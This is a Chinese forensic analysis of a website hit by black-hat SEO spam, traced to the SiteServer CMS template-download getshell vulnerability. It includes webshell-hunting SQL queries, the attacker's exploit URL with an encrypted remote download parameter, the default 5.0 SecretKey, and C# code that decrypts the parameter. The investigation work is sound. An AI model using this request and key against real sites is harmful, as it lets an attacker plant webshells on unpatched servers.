SiteServer CMS远程模板下载getshell漏洞导致的黑SEO利用分析溯源
前言
某日中午,收到上级下发的任务,涉及一代理商客户网站发现异常SQ内容,要求进行溯源分析并找出根本原因。
0x01 初步分析
通过提供的链接(www.xxx.com.cn/2023j19tPLKn2/55151),确认涉及黑帽SEO活动,通过百度搜索进一步验证也证实了这一点。
0x02 日志分析
黑客常常在植入菠菜或非法广告的网站中设置后门文件。我们可通过以下webshell特征进行日志分析:
- 请求方式为POST
- 文件后缀为php、asp、aspx、jsp
- 静态资源文件夹(如/Images/、/js/)中含有php、aspx等后缀的文件
相应的SQL查询语句如下:
SELECT * FROM database.attack_tables WHERE method = 'POST' AND uri REGEXP 'php$|asp$|aspx$|jsp$'
根据以上特征,发现两个可疑URL:
进一步筛选访问过上述URL的攻击IP,查询成功攻击的日志:
SELECT * FROM database.attack_tables WHERE IP = '攻击IP' AND resp_code = '200'
发现以下URL:
www.xxx.com.cn/siteserver/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=Mu4qBmu7IHKIIv1cW8CJW0OAFsrTC9ENRNAF3QQvd5YZhQOTBxV7UQ0equals00equals0&directoryName=SiteFiles
模拟恶意攻击发现,浏览器返回站点模板下载成功的提示。由此推断,该站点因存在SiteServer CMS远程模板下载getshell漏洞而遭受黑帽SEO利用。
0x03 详细分析
SiteServer CMS是一款开源、跨平台、企业级的CMS内容管理系统,能够快速建立功能齐全、性能优异、易于维护的网站。漏洞出现在后台模板下载位置未对用户权限进行校验,并且ajaxOtherService中的downloadUrl参数可被控制,从而导致getshell。版本5.0及以下均受影响。漏洞利用过程中,DecryptStringBySecretKey函数用于解密downloadurl,随后调用SiteTemplateDownload函数下载模板并自解压。
5.0版本中,SecretKey的默认值为:
vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5
首先使用Python脚本还原downloadUrl的值:
str_decry = "Mu4qBmu7IHKIIv1cW8CJW0OAFsrTC9ENRNAF3QQvd5YZhQOTBxV7UQ0equals00equals0"
str_decry = str_decry.replace("0add0", "+").replace("0equals0", "=").replace("0and0", "&").replace("0question0", "?").replace("0slash0", "/")
print (str_decry)
然后使用C#代码将其还原为默认下载链接(www.bejson.com/runcode/csharp):
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace EncryptApplication
{ class Encrypt
{ static void Main(string[] args)
{
var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
var _inputString = "Mu4qBmu7IHKIIv1cW8CJW0OAFsrTC9ENRNAF3QQvd5YZhQOTBxV7UQ==";
var _outString = "";
var _noteMessage = "";
byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
try
{
var byKey = Encoding.UTF8.GetBytes(_decryptKey.Substring(0, 8));
var des = new DESCryptoServiceProvider();
var inputByteArray = Convert.FromBase64String(_inputString);
var ms = new MemoryStream();
var cs = new CryptoStream(ms, des.CreateDecryptor(byKey, iv), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
_outString = encoding.GetString(ms.ToArray());
Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
catch (Exception error) { _noteMessage = error.Message; }
} } }
最终还原结果如下:
0x03 修复建议